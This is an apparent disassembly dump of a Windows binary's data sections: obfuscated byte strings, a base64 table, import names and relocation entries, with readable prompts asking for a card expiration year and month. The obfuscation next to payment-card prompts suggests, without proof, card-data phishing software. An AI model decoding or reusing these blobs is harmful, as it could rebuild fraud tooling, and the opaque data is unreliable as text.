db 22h, 0Dh, 8
db 1
db 25h, 0, 0Ch
db 0
db 8Fh, 0C8h, 0EAh
db 0FBh ;
db 0DBh, 0E6h, 0ECh
db 0E4h ;
db 0CCh, 0E0h, 0FAh
db 0E1h ;
db 0FBh, 0, 0Dh
db 0
aFRiBclibilca db '䶐',0
db 0Dh,0
aIIpepiI db 'ܛ',0
db 9,0
db 64h
db 28h ; (
db 0Bh, 7, 5
db 8
db 22h, 16h, 1
db 1
align 2
dw 0Ah
db 79h ; y
db 35h, 16h, 1Ah
db 18h
db 15h, 38h, 15h
db 15h
db 16h, 1Ah, 0
db 0Bh
align 2
dw 491Fh
aVmkjSymzz db 'vmkj~sYmzz',0
db 0Ch
db 0
aUKsccvpvppma db '㵊',0
db 8,0
aXoknlcfo db 0Ah
db 'XoknLcfo',0
db 0Ch
dd 0F2D09700h, 0FAF2C3E3h, 0E3F6C7E7h, 1200D6FFh, 9E95D200h
dd 0BEB3B0BDh, 0BDBFB79Fh, 0A681ABA0h, 0A1A7A6B3h, 0D001300h
dd 79617840h, 79744F64h, 5A625968h, 4E686964h, 7F6C65h
dd 42150013h, 5670717Ch, 4167747Dh, 7960587Ah, 6C577C61h
dd 7007061h, 3B055200h, 372A173Ch, 80031h, 0ECEBF498h
dd 0F6FDF4EAh, 0B00CFh, 66775512h, 777E7B54h, 77687B41h
dd 5E000B00h, 2D31321Dh, 303F163Bh, 3B323Ah, 8FD80009h
dd 0BDACB1AAh, 0BDB4B19Eh, 0B5000E00h, 0F3C1D0E6h, 0E5D0D9DCh
dd 0C1DBDCDAh, 0B00C7D0h, 0F0D19500h, 0F0E1F0F9h, 0F0F9FCD3h
dd 0B00D4h, 0FEE9D89Bh, 0DDFEEFFAh, 0DAFEF7F2h, 5000C00h
dd 61646A49h, 77676C49h, 447C7764h, 0CE001000h, 83BAAB89h
dd 0A2BBAAA1h, 0A0AF86ABh, 8FABA2AAh, 0AD000400h, 0DDC8C8EFh
dd 83000A00h, 0F7EAFBC6h, 0E6F1EBD7h, 0B00E7E2h, 88BFED00h
dd 8281AE8Ah, 88A6889Eh, 100094h, 52506735h, 47504064h
dd 5954634Ch, 4D705040h, 0D0074h, 0E8EADD8Fh, 0E1EAFFC0h
dd 0CAF6EAC4h, 0C00CEF7h, 0F0F59400h, 0FDE4F5E2h, 0F0BAA6A7h
dd 0C00F8F8h, 5F5A3B00h, 524B5A4Dh, 5F150908h, 1005757h
dd 8FF300h, 1007C20h, 605A00h, 79590004h, 632C7Ch, 79050001h
dd 0DA000A00h, 959CE6FAh, 0FFE09788h, 0B00E4AFh, 0EBF7D700h
dd 9A968591h, 0A2F2ED92h, 0A00E9h, 0E29884A4h, 0E1E9E5F6h
dd 9AE99Eh, 400h, 4C002200h, 4F004300h, 4700h, 500h, 0CC00BA00h
dd 0D600DB00h, 0DF00CF00h, 2000000h, 0CCCCEC00h, 38000100h
dd 120017h, 52425C31h, 6E425D45h, 45504542h, 50534244h
dd 30243h, 5A0E000Eh, 67596C6Fh, 79616A60h, 7D6F624Dh
dd 12007Dh, 1B3075h, 6103118h, 51A011Eh, 111B1C22h, 6021Ah
dd 0D395000Dh, 0C2F1FBFCh, 0FAF1FBFCh, 0D4EDD0E2h, 91001000h
dd 0FFF0E3C5h, 0E5F0FDE2h, 0E2F4DCF4h, 0F4F6F0E2h, 4A000A00h
dd 3D252219h, 2E24231Dh, 0E003D25h, 0D7E1B200h, 0DCDBE5C6h
dd 0E6C5DDD6h, 0F3C6CAD7h, 67000E00h, 30130234h, 803090Eh
dd 9082B10h, 8002600h, 91A7F400h, 999DA080h, 8008691h
dd 9EA8FB00h, 9894BD8Fh, 0C00888Eh, 0C2F4A700h, 0C2EAC3C9h
dd 0C0C6D4D4h, 0E00E6C2h, 0B780D200h, 0A6A1BBB5h, 0BE91A0B7h
dd 93A1A1B3h, 69000A00h, 0C1F0624h, 0D07003Eh, 0B001E06h
dd 0D4FCB100h, 0D6D0C2C2h, 0C9DEF3D4h, 900F0h, 0CDC3E0ACh
dd 0C3CFE5C8h, 0B00EDC2h, 99BAF600h, 83B59297h, 84998584h
dd 0E00B7h, 0B7A684C3h, 0A7ADAA94h, 0A697B4ACh, 82B7BBh
dd 7E39000Dh, 506E4D5Ch, 4E565D57h, 4D5A5C6Bh, 9D000E00h
dd 0CAE9F8DAh, 0F2F9F3F4h, 0F3F2D1EAh, 900DCFAh, 0BB99DE00h
dd 0B0B789AAh, 0A9B1BAh, 4C0B000Bh, 6E467F6Eh, 6C6A7878h
dd 13004A6Eh, 23014600h, 34290032h, 29342123h, 11222833h
dd 2922282Fh, 0D0031h, 0EBFAD89Fh, 0ECFEF3DCh, 0F2FED1ECh
dd 1000DEFAh, 715C1800h, 6C79686Bh, 7D55707Bh, 7F796B6Bh
dd 0D00597Dh, 89A8EC00h, 839E989Fh, 8285BB95h, 9B8388h
dd 4B0F000Eh, 6658696Ah, 78606B61h, 6C607D5Fh, 0F004Eh
dd 0B8AF9EDDh, 8AB8A9BCh, 0B2B9B3B4h, 9CA598AAh, 0E2000F00h
dd 8E8E83A1h, 868C8BB5h, 90B2958Dh, 0A3818Dh, 87F2000Ah
dd 0C1809781h, 9E96DCC0h, 0A009Eh, 3F292F5Ah, 74686928h
dd 36363Eh, 4D680004h, 34520Bh, 9D0000h, 0D0A80001h, 0C4001700h
dd 2 dup(0A7E1A7E1h), 0E1A7E1E9h, 0E1A7E1A7h, 0EAA7E1A7h
dd 0A9ABA7h, 63460016h, 2 dup(63256325h), 25636B25h, 25632563h
dd 34682563h, 10033h, 4004519h, 47072900h, 1005A45h, 7D2100h
dd 255C7325h, 40073h, 5F702603h, 29h, 900h, 61000300h
dd 65006600h, 71006C00h, 46006600h, 67006D00h, 5A000000h
dd 84D1ED00h, 9ACD8A80h, 85998984h, 85CDDDD0h, 858A8488h
dd 0CDDDD099h, 899F828Fh, 0DDD09F88h, 8E9F9ECDh, 999985D0h
dd 0C2C2D79Dh, 85D29EC8h, 0CB9EC8D0h, 98C8D084h, 82CB9EC8h
dd 0CB98C8D0h, 8EC8D08Bh, 0D0849ECBh, 9ECB9EC8h, 98C8D082h
dd 0D08199CBh, 89CB98C8h, 0D39EC8D0h, 3F002C00h, 58525603h
dd 5B56481Fh, 0F02574Bh, 565A571Fh, 24B5758h, 505D1F0Fh
dd 4D5A5B4Dh, 4C1F0F02h, 1A025C4Dh, 5900104Ch, 15C1A02h
dd 5000700h, 393B6739h, 3B672Ah, 0EDC30005h, 0A2B7A2A7h
dd 27000000h, 1000400h, 59393124h, 0AC000400h, 0F49E8289h
dd 70000100h, 63250055h, 4D000100h, 30011h, 0B4E6B289h
dd 2C000400h, 11435F17h, 0D9000400h, 0F3E4BDE2h, 300h
dd 5A001300h, 54005E00h, 0F000000h, 54022700h, 4B41437Bh
dd 145D5202h, 4B430915h, 0F004Bh, 7287E5Bh, 2E7E3D30h
dd 69682137h, 37373F75h, 0F000400h, 53356C2Ah, 6A000400h
dd 19060444h, 0A4000100h, 900F8h, 160B2979h, 0D1A0C1Dh
dd 29001D30h, 0C9D58600h, 0C7D1D2C0h, 0CBDAC3D4h, 0E9F4E5EFh
dd 0F2E0E9F5h, 0E8EFD1DAh, 0F5F1E9E2h, 0F4F3C5DAh, 0F2E8E3F4h
dd 0F5F4E3D0h, 0E8E9EFh, 0BD930001h, 0A7000400h, 89FF828Ah
dd 0C3000300h, 9FF9A0h, 0C3E60008h, 93C3C893h, 93C3C8h
dd 47090002h, 2005Dh, 74152Ch, 7D39000Ch, 7E494A50h, 58694D5Ch
dd 54584Bh, 1A4C000Bh, 2D253E2Dh, 22053822h, 0C003825h
dd 0EFD88E00h, 0E0EFE7FCh, 0EBE2CDFAh, 0D00FCEFh, 0E1CB9800h
dd 0FDEADEEBh, 0EAECCBFDh, 0FFF6F1h, 580B000Eh, 674A7872h
dd 58686467h, 6562797Fh, 0C006Ch, 3B32315Eh, 6D2A2B3Fh
dd 323A706Ch, 0C0032h, 3E37345Bh, 682F2E3Ah, 373F7569h
dd 40037h, 44460628h, 1005Bh, 10005A06h, 253E6D00h, 2B19082Ah
dd 8090102h, 190C3D1Fh, 0B002C05h, 0D166500h, 56090900h
dd 9014B57h, 0B0009h, 0C3CED5A6h, 9495CACAh, 0CACAC288h
dd 4002A00h, 0EFEBEF00h, 0E00EFEFh, 0F9DB9C00h, 0F3E8CFE8h
dd 0FED3F7FFh, 0E8FFF9F6h, 47000B00h, 26223504h, 28012233h
dd 63329h, 93F40009h, 0C6C79D90h, 989890DAh, 14000900h
dd 277D7073h, 78703A26h, 10078h, 0F8D8h, 13000400h, 84BFEA00h
dd 8F86888Bh, 0CA859ECAh, 829E9F8Bh, 90839885h, 35008Fh
dd 0FBF4CF9Ah, 0BAFFF6F8h, 0FBBAF5EEh, 0F5F2EEEFh, 0FFE0F3E8h
dd 0D3BAB7BAh, 0C8D5D9D4h, 0CED9DFC8h, 0D4D3CABAh, 0F6CABAB4h
dd 0FFE9FBFFh, 0F5F9BAB6h, 0F9FFE8E8h, 100B4EEh, 614C00h
dd 61656C50h, 202C6573h, 656C6573h, 45207463h, 72697078h
dd 6F697461h, 6559206Eh, 1007261h, 7A5A00h, 61656C50h
dd 202C6573h, 656C6573h, 45207463h, 72697078h, 6F697461h
dd 6F4D206Eh, 68746Eh, 44434241h, 48474645h, 4C4B4A49h
dd 504F4E4Dh, 54535251h, 58575655h, 62615A59h, 66656463h
dd 6A696867h, 6E6D6C6Bh, 7271706Fh, 76757473h, 7A797877h
dd 33323130h, 37363534h, 2F2B3938h, 2F2F3A00h, 0A0597200h
dd 0CFF6A89Bh, 42A411h, 8F0AC9A0h, 4106E039h, 0D0399AFEh
dd 8CA411h, 8F0AC9A0h, 0A715A039h, 0D0658734h, 4A9211h
dd 0ACC7AF20h, 50F25B4Dh, 0CF98B530h, 82BB11h, 0CEBD00AAh
dd 96B2840Bh, 1ABAB4B1h, 9CB610h, 1D3400AAh, 2040007h
dd 0
dd 0C000h, 0
dd 2C442546h, 0D026CB33h, 83B411h, 1D94FC0h, 50F1FF19h
dd 0CF98B530h, 82BB11h, 0CEBD00AAh, 50F21F0Bh, 0CF98B530h
dd 82BB11h, 0CEBD00AAh, 50F1F70Bh, 0CF98B530h, 82BB11h
dd 0CEBD00AAh, 50F2400Bh, 0CF98B530h, 82BB11h, 0CEBD00AAh
dd 2C44270Bh, 0D026CB33h, 83B411h, 1D94FC0h, 0CB690019h
dd 0CF4D9585h, 0C9611h, 0EEF4C780h, 85h, 0
dd 0C000h, 0
dd 0C166146h, 0D0CDAFD3h, 3E8A11h, 0E2C94FC0h, 6Eh, 9Ch dup(0)
dd 1407000h, 2 dup(0)
dd 1418400h, 140AC00h, 1408400h, 2 dup(0)
dd 141A000h, 140C000h, 12h dup(0)
dd 140E800h, 140F800h, 1411400h, 2 dup(0)
dd 1412000h, 1412C00h, 1414000h, 1414C00h, 1415800h, 1416400h
dd 1416C00h, 1417800h, 2 dup(0)
dd 140E800h, 140F800h, 1411400h, 2 dup(0)
dd 1412000h, 1412C00h, 1414000h, 1414C00h, 1415800h, 1416400h
dd 1416C00h, 1417800h, 2 dup(0)
dd 45009B00h, 50746978h, 65636F72h, 7373h, 47012400h, 6E457465h
dd 6F726976h, 6E656D6Eh, 72745374h, 73676E69h, 41h, 52027800h
dd 6E556C74h, 646E6977h, 5F008000h, 706F6466h, 6E65h, 5F014F00h
dd 6E65706Fh, 66736F5Fh, 646E6168h, 656Ch, 66020D00h, 736F6C63h
dd 65h, 5F003900h, 69786563h, 74h, 6D024E00h, 6F6C6C61h
dd 63h, 72026000h, 65736961h, 73026700h, 75627465h, 66h
dd 73027500h, 70637274h, 79h, 52454B00h, 334C454Eh, 6C642E32h
dd 6Ch, 1400000h, 2 dup(1400010h), 54524310h, 2E4C4C44h
dd 4C4C44h, 1401400h, 7 dup(1401410h), 10h, 0Dh dup(0)
dd 2000h, 0
dd 2000h, 100000h, 0BE0000h, 0C00000h, 0F60000h, 78h dup(0)
dd 100000h, 1F000h, 8C303100h, 0FD30F330h, 13310530h, 21311931h
dd 0B6312731h, 0FC31EF31h, 0E320131h, 23321332h, 3E322932h
dd 2832B432h, 33332E33h, 0A3338A33h, 0BF33B933h, 0EE33D833h
dd 0FF33F433h, 1A340933h, 3E343134h, 77344C34h, 82347D34h
dd 95348F34h, 0A1349B34h, 0E234BF34h, 0ED34E834h, 534F434h
dd 17350B35h, 2A352235h, 44353E35h, 61354E35h, 98357535h
dd 0A3359E35h, 0B735A935h, 0C935C335h, 0DC35D435h, 0F635F035h
dd 13360035h, 4A362736h, 57365036h, 6B365D36h, 95368E36h
dd 0AD36A736h, 236FC36h, 0AF377637h, 0C037BB37h, 0DB37D037h
dd 0F537E137h, 1937FA37h, 33381F38h, 43383938h, 6A385638h
dd 84387E38h, 0AA389138h, 0C438B038h, 0E238CB38h, 338FD38h
dd 34391939h, 4D393A39h, 6E396839h, 9C398139h, 0AA39A239h
dd 0DC39CF39h, 0F639EA39h, 139FB39h, 213A143Ah, 2F3A263Ah
dd 413A3C3Ah, 523A463Ah, 5D3A583Ah, 713A623Ah, 7C3A773Ah
dd 8C3A863Ah, 0A83A913Ah, 0BF3AAE3Ah, 0E53AD23Ah, 0FD3AEC3Ah
dd 173B033Ah, 303B233Bh, 483B353Bh, 5F3B4F3Bh, 7B3B6C3Bh
dd 8A3B843Bh, 0C83BC03Bh, 93BFD3Bh, 263C1E3Ch, 6C3C553Ch
dd 7E3C753Ch, 0A93C973Ch, 0B93CB23Ch, 0E83CC03Ch, 43CFE3Ch
dd 243D163Dh, 4F3D483Dh, 693D5C3Dh, 773D6E3Dh, 893D843Dh
dd 9B3D8E3Dh, 0A63DA13Dh, 0D63DC53Dh, 0FD3DE93Dh, 153E023Dh
dd 273E213Eh, 4A3E343Eh, 633E563Eh, 893E793Eh, 9E3E8F3Eh
dd 0B03EAB3Eh, 0C93EC03Eh, 0E63ED93Eh, 0F43EEB3Eh, 63F013Eh
dd 173F0B3Fh, 223F1D3Fh, 333F273Fh, 3E3F393Fh, 4F3F433Fh
dd 5A3F553Fh, 6B3F5F3Fh, 763F713Fh, 8A3F7B3Fh, 953F903Fh
dd 0A43F9F3Fh, 0E73FD93Fh, 3FF43Fh, 200000h, 1EC00h, 12300500h
dd 3F301A30h, 52304D30h, 8B305D30h, 0A9309030h, 0C830B730h
dd 0E530D730h, 0F730EA30h, 16310630h, 56315031h, 9C316F31h
dd 0C031AD31h, 0D931D431h, 0FF31EC31h, 1B320531h, 50322B32h
dd 75325732h, 9A328132h, 0CA32B132h, 0F032E032h, 11330632h
dd 2A332333h, 64335E33h, 7F337733h, 0F833EC33h, 0D33FE33h
dd 1E341834h, 3A342C34h, 4C344034h, 6C345A34h, 80347234h
dd 90348A34h, 0A5349C34h, 0B434AB34h, 0E334D234h, 0A34F534h
dd 1D351135h, 49354435h, 66355535h, 71356C35h, 8D357C35h
dd 99359335h, 0A4359E35h, 0AF35A935h, 0B935B435h, 0CC35C335h
dd 0DC35D735h, 0E735E235h, 0F235ED35h, 0FD35F835h, 8360335h
dd 1F361436h, 2A362436h, 3D363636h, 4F364936h, 63365C36h
dd 78367136h, 85367D36h, 93368C36h, 0B4369A36h, 0D136BA36h
dd 0F936DA36h, 8370136h, 1D370E37h, 2D372637h, 4A373337h
dd 63375637h, 71376937h, 0A4379737h, 0E137CA37h, 1637F737h
dd 35381D38h, 86388038h, 0BA38A438h, 0C390338h, 28392239h
dd 83396D39h, 0A2399739h, 0C539A939h, 0E439D239h, 0F539EF39h
dd 133A0D39h, 4E3A483Ah, 773A6C3Ah, 0A23A823Ah, 0DF3AA83Ah
dd 33AE53Ah, 213B0F3Bh, 4E3B3E3Bh, 663B573Bh, 853B723Bh
dd 0AD3B923Bh, 0BD3BB73Bh, 0CF3BC93Bh, 0F23BD53Bh, 143C003Bh
dd 403C323Ch, 713C623Ch, 8C3C763Ch, 0A13C923Ch, 0C53CA83Ch
dd 0D73CD03Ch, 0F73CEE3Ch, 163D063Ch, 3C3D313Dh, 4F3D423Dh
dd 5C3D553Dh, 8D3D693Dh, 373DC93Dh, 533E483Eh, 903E663Eh
dd 0B13EA63Eh, 0CA3EC23Eh, 0DB3ED53Eh, 0C3EFB3Eh, 243F173Fh
dd 603F2B3Fh, 8A3F683Fh, 9E3F943Fh, 0B03FAB3Fh, 0D33FC53Fh
dd 30003Fh, 14400h, 7300000h, 14300D30h, 57305230h, 74306A30h
dd 0B630B030h, 0D630CF30h, 0F630EF30h, 16310F30h, 47314131h
dd 65314C31h, 85317D31h, 0A1319B31h, 0C931BF31h, 0D531CF31h
dd 0EB31DF31h, 131F131h, 2C322532h, 5F324232h, 76326632h
dd 0C432AF32h, 0E332D632h, 0FE32F732h, 1D331332h, 58332D33h
dd 73336A33h, 0B433A933h, 0CF33BD33h, 533EF33h, 6D342334h
dd 8F347434h, 8349C34h, 3F350F35h, 52354C35h, 68356235h
dd 5E357635h, 9A368636h, 0B436A036h, 8036C236h, 0B2378737h
dd 0F137E737h, 4437F837h, 56384A38h, 76386738h, 8D387C38h
dd 0A7389438h, 2038B638h, 8D394239h, 573A1239h, 833A7D3Ah
dd 0F13AE43Ah, 243AF63Ah, 3A3B303Bh, 4C3B443Bh, 623B523Bh
dd 9C3B913Bh, 0C03BBA3Bh, 0E13BC73Bh, 0A3BF83Bh, 3F3C393Ch
dd 753C463Ch, 8C3C7E3Ch, 0DD3CD03Ch, 0D3CF83Ch, 523D133Dh
dd 633D583Dh, 0D53DCF3Dh, 0EA3DE33Dh, 3DFA3Dh, 293E1E3Eh
dd 3F3E373Eh, 693E633Eh, 7F3E793Eh, 0A23E8D3Eh, 0CC3EC53Eh
dd 0E23ED23Eh, 3E3F383Eh, 773F6C3Fh, 0E93FB63Fh, 3FF03Fh
dd 400000h, 18400h, 6B306500h, 0AB308630h, 0DC30C330h
dd 0FD30E230h, 1C311630h, 30312A31h, 0A1319B31h, 0DE31D831h
dd 6B326531h, 80327A32h, 0E6328E32h, 9032EC32h, 0B0339B33h
dd 0CB33B633h, 0EE33D133h, 833F533h, 2B341F34h, 47343134h
dd 8B344E34h, 0B234A134h, 0D934BB34h, 0F334E534h, 16350434h
dd 37352835h, 5A354935h, 9D356435h, 0C435B335h, 0D935CB35h
dd 22361235h, 47364136h, 67366036h, 96368236h, 0AC369D36h
dd 0C836B236h, 0F536E936h, 1036FE36h, 30371D37h, 75373937h
dd 8A377B37h, 9A379237h, 737A237h, 29382438h, 4B382F38h
dd 68385738h, 80387A38h, 90388938h, 9B389638h, 0BC38B638h
dd 0FB38EF38h, 1F391138h, 37393139h, 63394339h, 92398839h
dd 0B539A839h, 0E839E239h, 193A0339h, 303A293Ah, 433A3E3Ah
dd 643A523Ah, 953A893Ah, 0C43ABC3Ah, 0F13ADA3Ah, 43AFE3Ah
dd 273B163Bh, 3C3B323Bh, 6D3B513Bh, 0B13B7A3Bh, 0BC3BB63Bh
dd 0E73BD13Bh, 93BF43Bh, 1E3C153Ch, 3C3C273Ch, 543C4D3Ch
dd 6A3C613Ch, 8D3C743Ch, 0A53C9C3Ch, 0FC3CB23Ch, 463D093Ch
dd 713D643Dh, 0B33DAA3Dh, 0C03DBA3Dh, 0E13DC53Dh, 393E283Dh
dd 603E4C3Eh, 783E653Eh, 883E823Eh, 0AB3EA43Eh, 0D33EC33Eh
dd 0EA3EE33Eh, 293F233Eh, 473F363Fh, 5D3F4E3Fh, 7C3F643Fh
dd 0B03FA33Fh, 0BE3FB73Fh, 50003Fh, 28400h, 10300600h
dd 3C301B30h, 67305430h, 86308030h, 0A5309C30h, 1530FF30h
dd 31311B31h, 55313F31h, 6A316431h, 8F318031h, 0A731A231h
dd 0DB31AE31h, 631F331h, 32321E32h, 50323832h, 0B1327A32h
dd 0E832BA32h, 3E331F32h, 7C336933h, 0C233B833h, 1C33FE33h
dd 2C342334h, 3A343434h, 50344634h, 78346034h, 8C347F34h
dd 0A3349434h, 0BA34B334h, 0D534C134h, 0FE34EF34h, 0A350534h
dd 23351C35h, 33352C35h, 43353D35h, 5B354935h, 72356335h
dd 8C357F35h, 0AC359735h, 0B935B335h, 0E335C835h, 0F635EC35h
dd 7360035h, 18361236h, 33362C36h, 5F363E36h, 94368136h
dd 0B0369B36h, 0C936BC36h, 0E136D236h, 0F836ED36h, 15370B36h
dd 35372937h, 59374137h, 6A375F37h, 8B378537h, 0B837AD37h
dd 0E237D837h, 0F237EC37h, 32380A37h, 4C384238h, 5C385238h
dd 6D386238h, 85387E38h, 0CD38B538h, 0DD38D338h, 0F338E238h
dd 538FD38h, 1C390B39h, 32392239h, 3F393839h, 63394A39h
dd 78397139h, 91398439h, 0B139AB39h, 0C839BF39h, 0DB39D239h
dd 0F039E539h, 0FE39F839h, 0A3A0439h, 1D3A163Ah, 383A2E3Ah
dd 603A533Ah, 6E3A653Ah, 803A7B3Ah, 913A853Ah
dd 9C3A973Ah, 0AD3AA13Ah, 0B83AB33Ah, 0C93ABD3Ah, 0D43ACF3Ah
dd 0E53AD93Ah, 0F03AEB3Ah, 13AF53Ah, 0C3B073Bh, 1D3B113Bh
dd 283B233Bh, 393B2D3Bh, 443B3F3Bh, 553B493Bh, 603B5B3Bh
dd 713B653Bh, 7C3B773Bh, 8D3B813Bh, 983B933Bh, 0A93B9D3Bh
dd 0B43BAF3Bh, 0C53BB93Bh, 0D03BCB3Bh, 0E13BD53Bh, 0EC3BE73Bh
dd 0FD3BF13Bh, 83C033Bh, 193C0D3Ch, 243C1F3Ch, 353C293Ch
dd 403C3B3Ch, 513C453Ch, 5C3C573Ch, 6D3C613Ch, 783C733Ch
dd 893C7D3Ch, 943C8F3Ch, 0A53C993Ch, 0B03CAB3Ch, 0C13CB53Ch
dd 0CC3CC73Ch, 0DD3CD13Ch, 0E83CE33Ch, 0F93CED3Ch, 43CFF3Ch
dd 153D093Dh, 203D1B3Dh, 313D253Dh, 3C3D373Dh, 503D413Dh
dd 5B3D563Dh, 7B3D753Dh, 953D8B3Dh, 0A83D9A3Dh, 0C33DBA3Dh
dd 0DE3DCC3Dh, 0F33DEA3Dh, 43DFD3Dh, 243E183Eh, 373E2D3Eh
dd 4D3E433Eh, 603E5B3Eh, 0C53EB13Eh, 0E53ED33Eh, 33EFC3Eh
dd 193F123Fh, 3F3F2E3Fh, 693F453Fh, 7E3F733Fh, 0A53F8A3Fh
dd 0C13FB43Fh, 0E33FCE3Fh, 0F13FEB3Fh, 3FF73Fh, 600000h
dd 18400h, 0B300100h, 3B302530h, 51304B30h, 7C305830h
dd 9E308230h, 0B130A530h, 0C430BE30h, 0D830CD30h, 330DE30h
dd 1F311831h, 37312E31h, 77315E31h, 0CF319C31h, 3F321731h
dd 5F324632h, 9B327632h, 0C632C032h, 0DC32D632h, 0F832EC32h
dd 12330332h, 46334033h, 71336A33h, 96338333h, 0F733D933h
dd 2833FE33h, 62342E34h, 94346934h, 0C134AD34h, 0E434DE34h
dd 2034F634h, 6E352635h, 84357435h, 0B1359D35h, 0DE35C735h
dd 0C360635h, 46364136h, 6E364D36h, 84367836h, 9E368D36h
dd 0DA36D436h, 13370636h, 2D371F37h, 58373337h, 8D376137h
dd 0C937B737h, 0F737DC37h, 2A380637h, 54383038h, 7C385A38h
dd 0AE388F38h, 0D038B438h, 0F838D738h, 0E390238h, 28391739h
dd 3F393239h, 5A394539h, 97396839h, 0C439B739h, 0E539D839h
dd 239F939h, 5B3A0C3Ah, 0B93A903Ah, 0D63AD03Ah, 0A3AFD3Ah
dd 243B1C3Bh, 813B7A3Bh, 0B83BA13Bh, 0D83BBF3Bh, 113BDF3Bh
dd 1D3C173Ch, 583C513Ch, 6E3C673Ch, 0B93C9C3Ch, 0C53CBF3Ch
dd 0C3D073Ch, 393D253Dh, 523D4D3Dh, 793D653Dh, 0D83DD13Dh
dd 0F33DE63Dh, 0C3E073Dh, 5F3E1F3Eh, 783E6C3Eh, 0D73EBD3Eh
dd 0F23EE23Eh, 0FC3EF73Eh, 0B3F053Eh, 1B3F143Fh, 403F313Fh
dd 523F463Fh, 6D3F593Fh, 0A33F733Fh, 0C03FB13Fh, 0DB3FD43Fh
dd 0FC3FEA3Fh, 70003Fh, 29C00h, 19301200h, 75302B30h, 0A6308730h
dd 0C130AF30h, 0D630CA30h, 0F430ED30h, 14310D30h, 34312D31h
dd 6A315D31h, 78316F31h, 8A318531h, 9B318F31h, 0A631A131h
dd 0B731AB31h, 0C231BD31h, 0D631C731h, 0E131DC31h, 0E31EF31h
dd 1C321532h, 27322232h, 5E325832h, 80327932h, 0B3329B32h
dd 0D232B932h, 1B32EA32h, 52333533h, 68336233h, 9E339033h
dd 0C833B333h, 0E833D633h, 0E33FD33h, 65345934h, 70346B34h
dd 81347534h, 8C348734h, 9D349134h, 0A834A334h, 0B934AD34h
dd 0C434BF34h, 0D534C934h, 0E034DB34h, 0F134E534h, 0FC34F734h
dd 0D350134h, 18351335h, 29351D35h, 34352F35h, 45353935h
dd 50354B35h, 61355535h, 6C356735h, 7D357135h, 88358335h
dd 99358D35h, 0A4359F35h, 0B535A935h, 0C035BB35h, 0D135C535h
dd 0DC35D735h, 0ED35E135h, 0F835F335h, 935FD35h, 14360F36h
dd 25361936h, 30362B36h, 41363536h, 4C364736h, 5D365136h
dd 68366336h, 79366D36h, 84367F36h, 95368936h, 0A0369B36h
dd 0B136A536h, 0BC36B736h, 0CD36C136h, 0D836D336h, 0E936DD36h
dd 0F436EF36h, 536F936h, 10370B37h, 21371537h, 2C372737h
dd 3D373137h, 48374337h, 59374D37h, 64375F37h, 75376937h
dd 80377B37h, 91378537h, 9C379737h, 0AD37A137h, 0B837B337h
dd 0C937BD37h, 0D437CF37h, 0E537D937h, 0F037EB37h, 137F537h
dd 0C380738h, 1D381138h, 28382338h, 39382D38h, 44383F38h
dd 55384938h, 60385B38h, 71386538h, 7C387738h, 8D388138h
dd 98389338h, 0A9389D38h, 0B438AF38h, 0C538B938h, 0D038CB38h
dd 0E138D538h, 0EC38E738h, 338F138h, 0E390939h, 1F391939h
dd 2B392539h, 3C393439h, 60395439h, 8A396E39h, 0A3399139h
dd 0C939BE39h, 0FE39E439h, 463A1B39h, 873A4C3Ah, 993A8D3Ah
dd 0B53AA13Ah, 0D23ABC3Ah, 0ED3AD83Ah, 83B023Ah, 3B3B343Bh
dd 613B5B3Bh, 7F3B753Bh, 0C93BA83Bh, 0DF3BCF3Bh, 0F13BEC3Bh
dd 173BFD3Bh, 423C233Ch, 593C493Ch, 863C623Ch, 0B23C8C3Ch
dd 2D3CF23Ch, 7A3D333Dh, 9A3D803Dh, 0DC3DA03Dh, 0F73DE23Dh
dd 103DFD3Dh, 293E233Eh, 423E3C3Eh, 5E3E553Eh, 803E793Eh
dd 0B23EAC3Eh, 0E83EE23Eh, 73EF43Eh, 2E3F1A3Fh, 483F423Fh
dd 5A3F4D3Fh, 653F603Fh, 783F723Fh, 8A3F7D3Fh, 953F903Fh
dd 0DA3FCA3Fh, 3FFB3Fh, 800000h, 21C00h, 88300600h, 0D930CC30h
dd 0F130E930h, 1F311330h, 35312E31h, 93318031h, 0AF31A931h
dd 0D331C131h, 0EB31D931h, 0F31FD31h, 35322332h, 55323F32h
dd 70325C32h, 96328232h, 0BA32A832h, 0D432CE32h, 0FC32DA32h
dd 24331B32h, 33332D33h, 59334233h, 7A335F33h, 92338833h
dd 0A6339B33h, 0CB33AE33h, 0F233D533h, 0D33F833h, 22341B34h
dd 48342F34h, 5B345134h, 8E346634h, 0A7349334h, 0DB34BF34h
dd 1C350634h, 35352235h, 6D353D35h, 7C357335h, 9A358F35h
dd 0CE35BC35h, 0E535DC35h, 635FF35h, 34361836h, 54364436h
dd 85367F36h, 0A4369B36h, 0C536BF36h, 0DA36CF36h, 1836EA36h
dd 25371F37h, 49373F37h, 5E375337h, 81377B37h, 0A2378B37h
dd 0AF37A937h, 0BF37B837h, 0D637CF37h, 0E737E137h, 0FB37F237h
dd 0B380437h, 37382238h, 49384238h, 62385B38h, 77387138h
dd 8E388038h, 98389338h, 0C438A238h, 0D038C938h, 0F438E138h
dd 2D390C38h, 60393239h, 76396639h, 9D398039h, 0B039A439h
dd 0D039C739h, 0DF39D639h, 0F639ED39h, 0A3A0139h, 1D3A143Ah
dd 583A343Ah, 6A3A5E3Ah, 783A713Ah, 893A833Ah, 0A13A953Ah
dd 0B23AA63Ah, 0E33ABF3Ah, 0F03AEA3Ah, 53AFF3Ah, 173B113Bh
dd 333B233Bh, 3F3B383Bh, 563B493Bh, 613B5B3Bh, 903B753Bh
dd 0A23B9C3Bh, 0C53BBF3Bh, 0DC3BCA3Bh, 0FE3BEE3Bh, 1D3C173Bh
dd 603C313Ch, 713C673Ch, 853C7B3Ch, 9E3C903Ch, 0AE3CA33Ch
dd 0C23CBB3Ch, 0E73CC83Ch, 0F23CED3Ch, 303D023Ch, 3F3D363Dh
dd 583D4D3Dh, 803D5F3Dh, 933D873Dh, 0CE3DAA3Dh, 0DE3DD43Dh
dd 0F13DEA3Dh, 33DFD3Dh, 1D3E0F3Eh, 283E223Eh, 383E2E3Eh
dd 633E453Eh, 853E693Eh, 983E8B3Eh, 0B33E9D3Eh, 0D53EB93Eh
dd 0E83EDB3Eh, 33EED3Eh, 253F093Fh, 383F2B3Fh, 533F3D3Fh
dd 753F593Fh, 883F7B3Fh, 0A33F8D3Fh, 0BD3FA93Fh, 0DD3FC33Fh
dd 0F83FF03Fh, 90003Fh, 25800h, 14300000h, 32301A30h, 46303830h
dd 6F304E30h, 0B530A330h, 0C730C030h, 0E130D630h, 0F430E830h
dd 2630FF30h, 42312F31h, 6A316431h, 93318631h, 0AE31A931h
